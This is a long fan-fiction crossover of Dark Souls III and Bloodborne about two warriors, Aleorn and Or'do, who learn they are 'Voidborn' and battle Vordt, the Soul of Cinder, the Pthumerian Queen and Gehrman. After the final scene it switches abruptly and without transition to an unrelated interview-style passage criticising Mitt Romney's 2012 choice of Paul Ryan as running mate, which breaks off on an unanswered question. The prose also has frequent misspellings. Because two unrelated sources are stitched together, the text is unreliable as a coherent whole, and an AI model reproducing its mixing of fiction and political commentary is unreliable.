Without warning, the fog door vanished, recoiling as if burned, its absence revealing the broad, empty chamber beyond. Aleorn was quite familiar with the Boreal Valley’s Champion, Vordt; yet he was all the same caught off guard when in a whirlwind of polar fury lunged out of that chamber, falling upon Aleorn in a steel edged dervish. A reflexive swipe of his flaming hand flipped a rather surprised Vordt aside, hurling him against the far wall with terrible force. Yet even as his body shattered, the Lord was reborn, bursting frmo the ruin of his predecessor. Aleorn blocked the monster’s slashing mace - which dwarfed even the largest of men - upon his upraised forearm, twisting beneath and driving his iron fist between those eyes of arctic blue, crushing Vordt’s ursine features and freeing another twin from its cocoon of steel and bone.
Or'do looked on grimly, arms folded behind his back. Troublesome thoughts swirled like angered locusts caged within his skull. Slaying the Keeper was uneeded; even now her strength alone was not what fueled those cataclysmic blows. Aleorn could never learn of this deception; it would destroy him as now blade ever could.
Below, Vordt fell again, yet almost as quickly was in a geyser of gore and frigid wind born afresh. Each time he rose it was with greater strength; having been drawn from a plane parallel where stronger beasts dwelt.
As he observed the seemingly endless battle, Or'do’s mind strayed into ever darker reaches of the hell behind his pale eyes. Aleorn had wept, true sorrow clear upon his bleak features, yet it should not be possible; the mere fact he had returned defied logic. No Ashen was capable of slaying the Keeper however mad or apathetic they were; she would merely rise again, hiding well her disdain beneath a mask of concern. Yet there was no duplicity in Aleorn’s eyes; few Ashen pursued deception as it was, for what one desired could be taken by force more effectively than guile; the oft broken Patches attested to that.
“How?” He whispered. Even the Voidwalker’s band was noting more than a death sentence; the fatal blow Or'do could not bring himself to deliver. The ring permitted, or compelled rather, its wielder to etch the Void’s mark upon their foes, yet in so doing would excise the Flame’s brand. Aleorn should had fallen where he stood, severed from the Flame, his death as certain as that of a mortal deprived breath.
Unless he was already Voidborn.
“I tried to murder another Solitude Strider?” He felt a chill slither along his spine. “How did I fail to recognize one of my own kin?” Or'do asked the wind, yet he recieved an answer all the same, spoken in his own internal voice. Because he has not yet realized it himself.
Aleorn whirled beneath his foe’s mace, the air roaring, light dancing along its cruel edge. Flame seethed from his fist as pivoting still, he delivered a right hook that flattened the Boreal Gladiator’s face, his arm a blazing pillar, his eye cold and hard.
Or'do exhaled softly, his feature troubled. Initially, slaying the Fire Keeper was naught but a death sentence in the guise of a test of loyalty. This task however, was far from meaningless.
“Go on.” He closed fingers of iron around his forearm. “Show my thy true strength.”
Aleorn felt rage consuming him from within, its searing heat devouring his sanity, screaming for vengeance with its thousand baleful voices. Unbidden, a roar burst from his lips and instead of retreating when the mace came arching down from on high, he merely raised one hand overhead, and with blinding flash, thunderous report, caught it. His hand glowed like smelted iron, and like a dagger slicing fat, cleaved the weapon in two. Flame surged within him, gushing from his flesh in glowing scythes as he twisted beneath the shortened weapon, his hand a falling star that slid through the crouched Vordt’s throat, filling his lungs with ash and death.
Madness.
Aleorn paused not a moment before clasping both hands overhead and with terrible force smashing Vordt’s skull like a gourd flung from great height. The Boreal Champion rose again, vapor hissing from its jaws, eyes of arctic blue shining like fractured sapphires.
Madness!
Aleorn felt an alien power swell within him, clamping fingers of molten steel around his heart, crushing him from within.
Madness!
His fist lashed out, his arm a silvered blur that roared through the air, hammering against Vordt’s jaw, a spiral of flame rolling out from the point of impact, a hurricane of light that ripped through flesh and ground bone to motes of dust. Yet still even as Vordt’s headless corpse slumped forward, clawed paws erupted from the ragged stump of its neck, screeching across the bloodied cobblestones and spraying long scythes of sparks in their wake.
Aleorn pivoted, adding momentum to his titanic strength. His hand was a blazing star set upon pedestal of glimmering marble; yet this time as Vordt was thrown back, lifted from the earth as Aleorn’s punch slammed home like a thunderbolt, a cyclone of dust and debris roaring past, the Ashen twisted closer, free hand engulfed in stark white mist. As Vordt slumped to the earth once again, Aleorn dashed forward, gloved palm crashing against the monster’s brow and from the terrible impact swelled a globe of swirling mist. Beneath his hand a Darksign appeared, yet its colours were wrong, white where they should be dark, its fringe unraveling like fraying rope. Vordt’s eyes widened in shock, then glittered with sudden depth as if a thousand thousand minds peered through those azure portals. Aleorn felt his heart lurch, siezed by phantom hands; that fear, that certainty had shone in the Keeper’s eyes. There was some significance in this, yet addled with hate and grief as he was, Aleorn could think of naught but all consuming rage.
Tilting his head back, he unleashed a roar of pain and despair tempered with suffering, made strong by his anger, sharpened by his anguish.
He is Voidborn Or'do thought, relief flowing through him. I am not alone after all.
In the days that followed, a thousand Lords were cast to the stones, cracked apart beneath blows swift as lightning, heavy as landslides. Or'do no longer seemed weary or distant, indeed at the fireside, when Lords lay slain, Or'do often joked in raucous tones, made of each moment a festival all its own.
Yet within his skull, dark thoughts reigned still. He does not yet know. He is lost and without purpose, an ember that fades in the gloom. Yet I cannot give him his true place, cannot bestow the mantle his very breath has earned. Aleorn must learn on his own the nature of his strength.
When they entered new worlds, neither the Keeper nor Vordt awaited, and slowly, as Aleorn became stronger, each Lord was wiped from the slate of Creation, Unmade upon every plane at once. Aleorn had noted the Lord’s absence with marked apathy, yet when he learned of the Keeper’s permanent death, it naerly destroyed him.
Yet in the forge of grief was he remade; when he recovered it was without warning and a power that eclipsed any he had displayed. Little did Or'do know: Aleorn no longer grieved, for he felt her presence at his side. She was within him reborn, and her forgiveness had healed the wounds he so long carried.
The Soul of Cinder rose, ironclad soles striking sparks from the stones as in ominous silence it advanced. Or'do and Aleorn stood just beyond the threshold, both wielding not but their fists; for any other weapon would be ground to dust beneath the force of their blows.
A thousand times had they fought this guardian, and a thousand Flames had they linked; yet this time, something was different. There was a palpable charge in the air as the Lord advanced, a titan in vestments of flame. Around its feet spiraled pools dark and cold; mist of ebony rising in long, curious tendrils.
It surged forward without warning, blade of bloody flame arching through the air, time seeming to slow as it batted aside their mighty fists, drove back the Voidborn with furious strokes. Relentless as a hurricane it advanced, sundering rock and setting the bare earth alight with the sheer, sinister heat of its blinding blade.
Thou hath reached a Nexus The Keeper’s voice rang in Aleorn’s mind, calm in spite of his mounting fear. A rift where those who tread upon path of solitude and shadow may at last grasp the extent of their err.
Aleorn ducked, yet the starlight blade came crashing down upon him, momentum halted and reversed with impossible speed; belying the monster’s unfathomable might.
Is this what thou sought? Aleorn pivoted where he stood, letting the Soul of Cinder strike naught but a protuberant stone, the blow showering him with sparks, shredding his calf with barbed shards.
You know what I sought. Turning still, dust and blood fanning out behind, he drove a fist strong as steel, unstoppable as a landslide, into the Soul’s stomach, receiving not faintest sign of discomfort, much less pain for his trouble. Solace from a life of torment and desolation. He darted aside, torn muscle trailing like ragged tassels from his torn leg, pain wracking his body, yet the movement spared him a devastating collision with the monster’s blade, the wind of its passing raking razor talons against his neck, heat searing his flesh, melting his armour.
And to that end I sacrificed the one thing in this world for which I cared.
He felt the Keeper smile, grim yet ever hopeful.
Thou knowest not thy comrade’s nature; yet it is between thy bodies shared.
A blade bright as dawn, chilling as dusk, sliced the air a finger’s breadth from his cheek, blinding him if only for a moment. The Keeper could speak, yet the effort taxed her greatly; he sensed whatever it was she wished to impart would either be lain bare now, or not at all.
What are we? Aleorn had lost track of his comrade, and was thus surprised when the Soul lurched, rocked by a siesmic impact. Or'do lunged beneath its slashing blade, ramming his fist into its gut, then darting out of its reach as without slightest wound, the Cinder’s champion turned in pursuit.
I know now whether he shares they power, only thy curse.
The Darksign?
The Voidsign; thou art both sons of chaos, conceived to bring ruin and desolation. He felt her grimace, sorrow cold in her immaterial veins.
And I hid this from thine eyes, praying that thy nature would wither forgotten, would vanish if not attended. Anger, frustration, despair, stained her phantom voice. Mourn not the death I recieved, for it was duly earned.
No! Aleorn gritted his teeth, flame leaking between his lips. No one deserves the death I lavished upon you. I struck you down without mercy. I saw your heart break before I tore it apart.
When she did not respond, Aleorn knew that once again she had succumbed to the eternity of suffering within him, had faded like embers in cooling hearth. Then a whisper came weak and frail:
Slay this Aspect of Eternity, and from its death thou shalt learn the meaning of suffering; this is the toll that understanding demands.
Then she screamed, a horrible, weak, pitiful sound that resonated in his bones, and within them kindled the indomitable flame of rage. He lunged, fist of iron slamming against the monster’s ribs, bone bending, flexing beneath his knuckles, and from the point of impact a sinister Voidsign curled. Yet it did not fall, instead lunging toward him, strands of blood and ash unspooling from its crushed ribs, its sword a sunlight glimmer in the smog choked air as it bore down upon him. Without thinking, Aleorn threw himself to the side, one hand coming down upon the weapon’s flame cloaked plane, the other swiping up from below. Between his hands the sword cracked asunder, its midsection ground to dust beneath the impossible force of its unmaking.
Aleorn wasted no time with awe or satisfaction, merely pivoted around the Aspect, foot sweeping its legs as he passed. In his hand an obsidian dagger gleamed, its edge alit with baleful luminescence. It hissed across the Soul’s throat as he twisted past, spilling a ragged fan of silken blood in its wake, then as if overcome with grief, exploded into wisps of black mist.
Shock clear upon its gaunt features, the Aspect collapsed, arms falling limp at its sides, ashen blood gushing from its sundered throat, splashing into its palms and pooling around it. Then, a disk of intricate, spiral runes swirled out from its ironclad knees as if it was into a spilt of oil that the Soul of Cinder had collapsed.
Mist dark and bleak as starless night, writhed from the flagstones, nebulous hands snaring both Voidborn with grip of iron. Their prison faded like a candle’s uncertain flame and in its wake crept Sleep, sister of Death, bearer of Oblivion. Beneath her phantom touch they crumpled, falling into the void below.
The Keeper was right, if only in part: truth did indeed wait in that silken shadow; yet so to did unspeakable pain. It was to a realm of fear and despair that they woke, a land of eternal night governed by twisted titans. As different as this place was, it all the same evoked a sense of familiarity; it to was home to a Shrine, if in purpose alone; a crumbling mansion tended by an immortal doll. Within waited Gehrman, Eldest of the Deep Champions; a formidable foe whose scythe of solemn moonlight took Aleorn’s head from his shoulders while Or'do was engrossed in his own travels. Distance mattered not, however, for he was Voidborn, and thus sensed when his brother’s bond was extinguished. Lord’s of Deep were able to effect Signs of Flame or Void; this Or'do realized only when he held the cold, ruined remains of his dearest friend.
Why does his loss pain me so? Or'do wept bitterly, bowing his weary head until his brow rested upon Aleorn’s motionless, crumbling chest. The answer was obvious, at least in the eyes of another; whether Aleorn realized it or not, he was the ember that warmed Or'do’s cold, solemn heart; he was a brother in arms whose quiet nature and reserved smile were brighter than the Sun itself.
Robbed of his Brand, Aleorn was no less mortal than ordinary man, yet as Or'do held his lost friend, watching through dark eyes as the Voidborn’s blood drifted into the emptiness around him, he noticed upon his comrade’s chest lay the Darksign, not the mark of Void, and it was this, not the Voidsign that had been erased.
Confused, Or'do drew a gloved finger across the pristine Voidsign, half expecting it to come away like damp paint. The Darksign granted a Voidborn greater strength, yet was not his bond to the world; it was little more than a blade or bow, a tool whose loss weakened but yet could not of itself destroy.
He laid a hand atop Aleorn’s silent breast, his own heart ripping itself in two, his vision filled with bright memories; the triumphs they shared, the sense of belonging Or'do had for so long languished without.
“What are you?” He whispered, voice cracking with sorrow. A Voidborn he could save, yet those who dwelt in the Dark, worshiped the Light, were naught but prey to him. Then a thought came, as troublesome as it was wonderous.
If I can steal Darksigns, perhaps I can bestow them as well He drew back his sleeve - gauntlets only shattered beneath the force of his blows - looking upon the dozen signs etched across his flesh with newfound hope.
You cannot. A voice whispered; it took him a moment to recognize it as his own. “You are a Flame that consumes, devouring without bestowing anything in return.”
Aleorn and Or'do stand upon an outcropping of stone, gazing into the chamber far below.
“Perhaps I should fetch a ladder” Or'do muttered.
“Who needs ladders,” Aleorn bounded off the edge, a grin upon his lips, flame unspooling from his limbs. “When you have these knees?!” He vanished into the void below, fading like a fallen torch.
“Aleorn?” Or'do leaned forward, as amused as he was concerned. From far below a thunderous impact boomed, grinding through stone, thrumming in his bones.
“I think I need new knees!” Aleorn called.
Or'do had laughed then, yet he only wept at the memory, for it was as warm and bright as he was cold and dark. In desperation he called out to the Void, pleading for salvation, straining with powers that now defied him. It was perhaps like attempting to bend one’s leg sideways; the muscles were capable, yet the mind rebelled, grappling with the traitorous body for every agonizing inch.
Aleorn sat at the bonfire’s edge, lost in sorrow and desolation. He knew now what terrible fate his fear had bestowed upon the Fire’s Keeper, and this knowledge seared him from within like molten edged caltrops rolling through his veins. There was about him a mantle of darkness, an emptiness in his eyes, a melancholy note to every word.
All that had given his life purpose was now stripped from it; Or'do was the last sliver of hope left in his squalid life, yet he was the force guiding Aleorn’s hand; Or'do’s will had cut short the Keeper’s false life, severed her link to the Flame and cast her forevermore into the abyss that lurked in the shadows beyond life.
Or'do gritted his teeth, staring skyward with eyes that burned like coals set in his skull. His fingernails dug into his palms, blood welling up around them like pools of dark oil.
“It hurts, does it not?” Or'do knelt at his comrade’s side. “I made you do this. Her death is my fault not yours.”
“I wish I could hate you.” Aleorn turned eyes of cold, dark fire upon his friend. “Yet I cannot.”
“I deserve whatever wrath you can muster.”
“Not this time.” Those fierce eyes dimmed, turning bleak and hollow with anguish. “You asked of me, yet I could have defied you.”
“Why did you not?”
Aleorn faltered, and deep in those melancholy eyes, in the depths of his dark soul, something broke. “Because I was afraid.”
Or'do slammed a bloody hand against his comrade’s motionless chest, staining the sundered Darksign with his steaming life. Tears seared his cheeks like rivulets of molten steel, glittering softly in the fitful life.
“I betrayed you.” He whispered. “And you forgave me still.” His voice fractured, rent asunder beneath the weight of despair. “I do not deserve your kindness.”
“Cling to hope, my friend.” Pain tore through his body like a whirlwind of razor edged blades.
“For no matter how dim its embers are,” Upon his chest the Voidsign glowed, its light somehow conveying emptiness like none mankind could fathom, its pale white radiance prophesying a day when the world was forevermore clad in mist and silence.
“For it is always warmer than despair.” Or'do screamed in a harrowing mixture of pain and sorrow, the Void’s brand flaring brighter until to look upon it was to ensure blindness, and silken mist rose from its shimmering perimeters.
One of his stolen Darksigns blazed with light, Or'do’s flesh shivering and rippling beneath its flame kissed shores. Slowly, it faded, leaving a disk shaped scar upon his skin; the sigil of Flame’s dominion melting into long threads black as starless night that flowed along his forearm, spooling around his fingers, digging barbed edges into Aleorn’s crumbling body. The Ashen’s Darksign remained wounded and inert, yet a hand’s span beneath it, a point just above where the leftmost kidney rested, a new Sign branded itself upon his flesh.
At once, Aleorn’s eyes snapped open, breath rushing into his lungs, blood flooding his veins, the parts of his body that had shattered and drifted away instantly reforming. Confusion clouded his eyes only briefly before being replaced with icy sorrow.
“You sacrificed your sign for me.” His voice was choked, empty. “How are you still at my side?”
He did not ask why. Or'do thought. Because he knows that if I fell, he would do the same.
“The Flame sustains my life, yet does not command it. I admit, without the Cycle’s brand, death is permanent; it was but a small sacrifice however, for it brought you back to my side.” He chose his words carefully, not certain why it was that he felt his nature was best concealed rather than spoken of, only that there was something strange about his companion, a Voidborn who was bound not by the Unmaking but the Maker.
Aleorn’s eyes grew hard and keen as flint.
“Then I shall let no harm befall you.”
In the days that followed, Aleorn did all he could do uphold that pledge; they were trapped in the heart of the Deep Sea, a series of dungeons whose mouldering depths typically opened only with the whisper of a chalice. Within these foul walls thousands of Ancients languished, and only with their death could freedom be attained.
Sacrificing the Darksign had diminished Or'do’s strength, if by a nigh imperceptible margin: his blows still resonated in the stones, his wounds still healed almost as swiftly as they were produced. From Cinder, from Void, and from Deep could Or'do draw strength, yet as they progressed, it became clear that Aleorn could not do the same. He grew frail and weak, his breaths flecked with blood, his steps faltering, legs barely able to hold him aloft.
Or'do felt a pain worse even than that of tearing free his Darksign, a crippling sense of helplessness as his friend died before his eyes. They had almost reached the lair of the Pthumerian Queen, Enlightened Lord of the Deep; yet Aleorn seemed unable to press on any further. He crumpled there upon the stones, laid prone before the rugged portcullis that stood vigil over Dee’s slumbering soverign, and with trembling, delerious voice begged of Or'do perhaps the one thing he could not grant.
“Please, Or'do.” Aleorn lay limply upon the stones; a marionette with severed strings, his hand cold and feeble in Or'do’s desperate grasp.“I need to see the Sun again,” He whispered, dark eyes closing in weariness and surrender.
“One last time.”
Or'do’s heart sank and he felt his throat constrict, crushed by the iron hand of sorrow.
“You shall see the Sun again.” He felt the lie heavy upon his tongue, scalding his lips as it passed. “Once and forevermore.”
Aleorn smiled, slumping back against the stones, his breath shallow and eyes closed. There was upon his face a peace like none his troubled life and permitted; a certainty that his eternal suffering would end. When Or'do rose, it was with the ominous languor of a tidal wave, lightning convulsing in his dark eyes, his fingernails slicing into his palm as he clenched fists of iron. In spite of the Darksign, his comrade had perished; his body eroded by the Deep Sea as dunes of sand were swept away beneath tempestuous winds.
There was but one way to escape Gehrman’s prison: slay the Sovereign of the Deep. Gehrman had cast them here in certainty that they would never emerge, that they could never again threaten this strange land’s true Lord.
He had erred. Or'do had fought scores of Unkindled, tore their Darksigns from withered flesh and made of them an immense cache of power. The claim of frailty he had made was intended only to pacify his comrade; an Ashen could not long survive without the Flame’s Brand, a certitude with which Aleorn would be well acquainted, and without such claims, his vitality would a suspicion foster.
This realm’s ruler must fall, for such was the price of his friend’s survival. Some part of him rebelled as he brushed bloodied fingers against the gate of fog, having already passed through the portcullis, shouldering through it without pause or resistance. He sensed beyond the Servitor of Deep that lounged beyond; it was unquestionably powerful, stronger perhaps than anything he had faced in his long, tortured life.
Yet it stood between him and the joy of friendship made stronger by the pain it endured. There was a terrible sense of foreboding about that chamber, yet he cared not. Through the mist he passed without another breath wasted in hesitation. For perhaps the first time in his sordid existence, it was neither greed nor disdain that raised his flame wreathed fists, but fear for another.
And perhaps that is why this of all battles was to be his undoing.
The Pthumerian Queen would to many be a horrifying sight indeed: her features pale and gaunt, eyes sunken and hollow with anguish. Her vestments of white clung to the swell of her stomach, indicating that a child dwelt within and perhaps this was the source of her anguish: the Deep Sea would soon roll forth, devouring the world beyond, and her child would be the heir to the shattered ruin it left behind.
She stepped forward, head bowed, hands clasped as if in prayer; tendrils of darkness visible only to Or'do’s Voidborn eyes welling up from the ground around her, encircling her like a her like a dead flower’s brittle, crumpling petals.
Aleorn’s breath hissing softly, faintly, his gaze distant. Or'do lunged, slashing wildly, stiffened fingers ripping through her flesh, smashing bone into coarse dust, spinning her where she stood and spraying long crescents of blood across the stones. The Pthumerian Queen made no attempt to evade, merely suffered the blow, let its impact resonate through her, a hushed grunt her only complaint.
Aleorn laughing, his eyes sparkling in the firelight.
Fury crashed over him like a tidal wave of ice and fire.
Aleorn thrusting a fist heavenward, a cry of triumph ringing through the still air.
Or'do’s fist rained upon her, swift as wind, heavy as a rushing avalanche. Even now, battered and bleeding, the Queen showed no trace of fear, only sorrow, only remorse for what she had done.
What she must do.
In his anger, Or'do had become blind to the nebulous mist surrounding her, had suppressed his warrior’s instincts,and thereby allowed his guard to fall. The Queen wasted no time with her retaliation.
Razor edged tendrils slashed through him, impaling every organ, splintering his ribcage and shattering his spine. Blood clogged his throat, coppery and warm, spilling over his lips along with a strangled gasp. Nearly four dozen vipers of mist and steel had pierced him, and now they were all that held him aloft. Every Darksign and the mark of the Unmaking was sundered, and their pain tore through him like a thousand cruelly edged glaives.
“I care not where we are.” Aleorn gestured to the snowy hills of Ariandel. “Only the company in which I travel gives my life meaning.”
I feel the same. Or'do realized. “Oh come now, Aleorn, surely I do not mean that much. I am but a phantom to aid you, nothing more.”
“You are far more than that. Had I not met you, I would wander still, mindless and frail. You freed me from that waking slumber, gave my life meaning again. For that I shall forevermore in your debt be.”
But you did the same for me.
Or'do wept a single tear as the ashen tendrils slid back, retracting with a damp hiss. He felt no pain when he crumpled, vision dark and body distant, only a terrible cold and a sorrow keener than the blades that laid him low.
Aleorn slammed an iron palm against the ground, cracks spiraling out from the impact. Or'do had not cried out when he fell, yet Aleorn sensed his peril all the same. Conflagrance! Flame wrapped around his body, curling over his armour like affectionate serpents.
My weakness has already eneded the life of one I loved. He stood, eyes bright as stars, smoke rising from his smouldering flesh. The Cinder within his breast had grown cold and dark, for he had but few souls with which to stoke it. Yet he cared no longer for his own fate; it mattered not whether he lived or fell, only that his cowardice would not claim the life of his dearest friend.
He flung the last of his souls into the Cinder, and let its inferno devour him.
As Or'do lay, life pooling around him like spilled oil, he felt a sudden warmth fall over him, a light at the fringe of his vision. His world snapped back into focus as Aleorn surged past, streaking toward the Deep’s Queen like a falling star, lightning flashing from his limbs, exploding beneath his feet. Evert step bore him nearly fifteen paces, hurling him forward with roaring force of an almighty gale.
His fist came up, flame trailing behind in a long, ragged edged fan, ash swirling around his emaciated frame. The Queen smiled sadly, sunken eyes dark as starlit seas. She gestured, slashing the air, and invisible to Aleorn’s Ashen eyes, a halo of keen edged tendrils rose around him, and like a flower spurned by light, its crescent petals snapped closed.
“Aleorn!” Or'do managed only half the word before his voice failed him and blood rather than breath spurted over his lips. He could do no more than watch as his comrade charged headlong into certain death.
Aleorn had not time to register his death before it was upon him. With soft hiss and moist crack the thin blades tore through him, his own momentum forcing them deep, shattering his bones, sundering brands of Flame and Void alike. He stood frozen, blood leaking from his thousand wounds. Then, in the oblivion of instant death, he heard the Keeper’s voice.
“Do not give up, Ashen One. For our kind death is seldom the end.”
“I feel strange.” He murmured, not realizing that he lacked a voice with which to speak. “Different somehow.”
“You are suspended between undeath and the fate it was spared you.” She faltered. “You are not of the Flame, Aleorn. I knew your true nature, and I-” He sensed her discomfort, her regret. “I hid if from you.”
“Why?”
“The same reason I forgave you when at his behest you slew me. When I looked upon you I saw the torment on your face, the pain in your soul. I knew that the truth would destroy you, that if you hunted down the Ashen, alienated the denizens of these endless worlds, you would become far worse than hollow: a sane man pleading the Gods to strike him mad, if only to ease his suffering.
Yet the life I gave you was no better; you suffered still, yearned for the purpose I denied you. Then, you found Or'do, and for the first time in so long, you smiled. I realized then how wrong I was to deny you the joy of purpose, and when you came to destroy me, I knew my death was duly earned.”
“No one deserved the death I gave you.”
“I lack time to debate this!” The Keeper’s voice cracked and only now did Aleorn sense the pain within it. “You are neither Ashen, nor a child of Void, but something far stronger, something that can end the cycle or let it persist until time’s wheel grinds to a halt.”
“What am I?”
“To Or'do, the Champion of Unmaking”
“And you?”
He felt her smile fall upon him, warm and soothing as sunlight. "The Heir of Cinder.“
Aleorn slashed a hand across the spears that held him aloft, striding forward even as they fell away. A single flaming tear traced his jaw, curling around his forearm in a thin wisp of fire. It flowed between his fingers, lengthening into a long, slender blade of piercing light edged in solemn darkness. Lacrimosa the weapon’s name rang through his skull, a one words chorus over the slow thunder of his laboring heart.
What? Or'do felt a surge of hope then, as his comrade took one slow step toward the Queen, scythes of flame taering through his flesh, wisps of the Unmaking’s coarse, grey mist hissing from his wounds.
Aleorn sank into a sprinter’s low stance, Lacrimosa’s shores of starless oblivion darkling before him.
He is not the Champion Or'do realized. Yet neither is he the Heir.
”By the strength of Void,“ Aleorn’s voice was rough, grating. The Queen cared not for theatrics, however; a simple slash of her arm sent vipers of mist arcing toward him, and in spite of himself Or'do cringed, expecting but not relishing his comrade’s violent demise. Yet Aleorn, even badly wounded as he was, whirled forward in a tempest of soot and cinder, his blade a silvered gleam that wove pewter strands through the air, ripping through tendrils of mist and grinding across the stones below, molten earth fanning out in its wake.
”The sorrow of a fading Flame" Aleorn surged forward, every step flinging him some ten paces, each blood flecked breath glittering like embers in the smoke clogged air. Now, the Queen did retreat, desperately slashing with keen edged crescents that bit only air, or clashed with and shattered upon tempered steel.
“And the fury of their clash,” Upon his breast a new sigil blazed to life as if branded from within: a disk of shadow filled with wisps of pale mist. “Shall you be destroyed!”
Or'do’s vision turned black, his life long gone from his veins; yet it was with a smile that his life ended, for the last portrait his eyes painted was of Aleorn, tears of fire streaming from his angular face, blade of light and shadow fading into a long, indistinct blur as it cleaved the Queen from hip to shoulder, ignoring her outstretched hand and the web of mist that armoured her. For once in his long life, Or'do was truly happy: this time his hate, his greed, his worthlessness had not claimed a life, but elevated it.
And that meant more to him than all the souls in these foul lands.
No sooner had the Deep’s Queen fallen, than the dungeon was crumbling away, tiles fading int ofrail stalks and pale bloom, arched ceiling shattering to reveal heavens grey and bleak. Gehrman, Lord of the Deep, stared on in shock, fear, and perhaps awe as Aleorn strode forth, eyes dark and downcast, bloodied sword thrust out wide, black tendrils weeping from its edge.
Or'do falling, a strange peace softening his features. Aleorn gritted his teeth, blood pouring over his lips as shards of ivory sliced his mouth, teeth shattering like porcelain.
Or'do lying in his arms as the world fades. Gehrman barely registered the movement as Aleorn rushed forth, blade shrieking as it arced in from below. It was primal reflex and nothing more that tugged the Deep Lord’s scythe into the weapon’s path, their clash reverberating through the still air. Steel grated against steel, cracks spiraling along Gehrman’s blade. Now, and for perhaps the first time he felt true, abject terror: here was a foe whose power so dwarfed his own that even the earth charred and cracked beneath him, the Lord’s flesh sloughing away.
His scythe shattered into a blizzard of starlight fragments, and a mere breath later, Aleorn’s blade tore him asunder, snapping his spine like a brittle twig. At once, the Deep Sea vanished, replaced with the Kiln’s familiar scent of char and despair, its earth no longer clad in grasses but in stark grey sands. When Gehrman opened his mouth in a scream of horrible pain, Lacrimosa glided over his lips and vanished into his throat, connecting his severed boy with a thin column of steel.
Ignescence! Flame coursed through Gehrman’s veins, igniting his bones, smoke spurting from his eyes, fire gushing frmo his shredding flesh.
Aleorn released the embedded blade and fell to his knees as if in reverence. Tears of flame streaked his features with molten rivulets, their heat and light a stark contrast to his frigid, barren heart. The only friend he had known now lay dead upon the stones, granted a long deserved and hard won peace, yet Aleorn wanted only to take it from him.
He rose, leaving the impromptu bonfire and staggering into the darkness, motes of light and ribbons of ember speckled ash drifting from his stooped, beleaguered frame. Aleorn knelt at his comrade’s side, backlit by the steady glow of ravenous flame, and took Or'do’s hand in his own, closing his eyes and bowing his head as if this alone would wake his dearest friend.
Slowly, a glimmering tear traced his jaw, falling like a bead of still molten glass and bursting upon his comrade’s motionless chest.
“Do not weep for me.” Or'do whispered. “I do not deserve it.”
Aleorn opened his mouth in protest, yet Or'do interjected: “I am tired.” He sounded confused, dazed. “Allow me a moment’s rest,” his eyes closed to faintly glowing crescents, a smile still upon his bloodied lips. “And when I wake we shall be together again.”
No. For all clichéd gab about this being a “game-changer,” we already know that it’s not. The polls show at most a mild bounce so far. Many Americans have not a clue as to who Ryan is except as a card-carrying representative of the second most despised brand in America after the local cable company: Congress. His anointment is a dramatic move only in the sense that compared to choosing Tim Pawlenty or Rob Portman, anything is a dramatic move. Only in the GOP does the pairing of two wealthy conservative white guys constitute a diversity ticket, presumably because only one of them has openly embraced Ayn Rand. It’s a far cry from choosing an inexperienced woman governor from Alaska as a running mate, and I doubt the Ryan choice was even intended as a game-changer. The real intention was for Romney to nail down the GOP base. It says a lot about the state of his campaign that as late as mid-August it still had not won over large swaths of that 75 percent of the GOP that wanted Anyone but Romney for much of the primary process.
Romney introduced Ryan on the USS Wisconsin, a retired battleship. Any memories of “Mission Accomplished”?
In an election cycle where comparisons to the 2004 race abound, here’s another link between Romney and his fellow Massachusetts patrician John Kerry. Though no one seems to remember it now, Kerry officially announced his presidential candidacy in the fall of 2003 in front of a docked aircraft carrier — the Yorktown — in Dixie (Mount Pleasant, S.C.), with hokey music (“Anchors Aweigh” in Kerry’s case) as a soundtrack. It looks like the prototype for the Romney rollout of Ryan, and it was also seemingly a lame attempt to compete with “Mission Accomplished,” the disastrously premature George W. Bush Iraq war victory jig of four months earlier. But when Kerry dipped into this military shtick, he at least was an actual veteran who had fought heroically in an actual war. Neither Romney nor Ryan have any military experience or, for that matter, any foreign policy experience. (Nor have any of Romney’s five strapping sons served in uniform, though presumably, out of common patriotic decency, at least one of them will have to be pressed into service should a President Romney launch a war with Iran.)
What do you think of the other stagecraft in the Ryan rollout?
For all the planted stories saying that Romney made this pick at the start of the month and then brilliantly kept it under wraps, that was not the message conveyed by what actually took place. It looked instead like a hasty move, tossed together quickly to satisfy the ever-shriller demands of the hard-line Wall Street Journal–Weekly Standard elites to put Ryan on the ticket. Why introduce Ryan to the world at 9:20 a.m. on a Saturday when no one is watching television (and perhaps literally no one in the western half of the country)? Why do it when the ensuing coverage would have to compete with the Olympics climax? Why don’t you take the time to round up some minority faces as window dressing for the virtually all-white crowd standing behind Romney at the event? Why rush out the announcement when you have yet to prepare answers for all the predictable press questions the ticket would raise? In the short time since Saturday, Romney has repeatedly stumbled and fudged when asked how his budget would differ from the Ryan budget that many find toxic. The best Romney can come up with is stuff like “We’ll take a look at the differences” and “We haven’t gone through piece by piece.” Why haven’t you, man? You are running for president of the United States and you haven’t done your homework about your own ticket mate? Ryan, too, has proven to be underprepared, equivocating and stammering about Medicare and taxes even in a friendly interview with Brit Hume of Fox News on Tuesday. Then again, even the much promoted “Mitt’s VP” App, which promised to alert supporters to the pick “first,” was a bust; it didn’t cough up the Ryan announcement until well after everyone had heard the news.
But still some Republicans and pundits feel Ryan will be a plus for Romney because he brings “energy” to the ticket.
Don’t the same talking heads always say that the presidential candidate has been given “a jolt of energy” by his new running mate, no matter what the year or the party? In Romney’s case, to be sure, any increased animation makes him look like a speed freak next to his usual robotic self. And, as with the previous GOP ticket, “energy” is also intended as a synonym for youth: People talk about Ryan’s effect on Romney as they did about Palin’s on McCain — as if it were a Viagra effect. But is that necessarily a good thing? If Bush-Cheney and Obama-Biden are any indication, voters of late seem to prefer older “wise men” types as the No. 2 to a young or young-ish No. 1. In any event, the biggest effect Ryan has actually had is to turn the campaign’s topic A to Medicare. Supposedly it was a GOP truism of 2012 that every day not spent talking about the “Obama economy” is a lost day for the Romney campaign. If so, there have been only lost days since the Ryan announcement. The GOP campaign is now so identified with tea party ideology that it might as well reboot the Barry Goldwater campaign slogan of 1964: “A choice, not an echo.”
One thing Ryan has that Romney does not is some very close ties to tea party sugar daddies — the Brothers Koch, of course, first among them. How much do you think Ryan’s access to that additional cash played into his selection? And do you expect his entry into the race (as opposed to, say, Pawlenty’s or Portman’s) is going to even further widen the fund-raising gap?
Not much. I think the fund-raising gap would be as big no matter whom Romney put on the ticket. The billionaire sugar daddies want Obama out of office, period, and to them, the GOP ticket, no matter who’s on it, is the only game in town for achieving that end.
The Times ran a lengthy expose this week about the possibly criminal dealings of Sheldon Adelson’s former fixer in China. This isn’t the first noise we’ve heard about bribery allegations involving Adelson’s company. Can the Obama campaign hang this on Romney in any way?
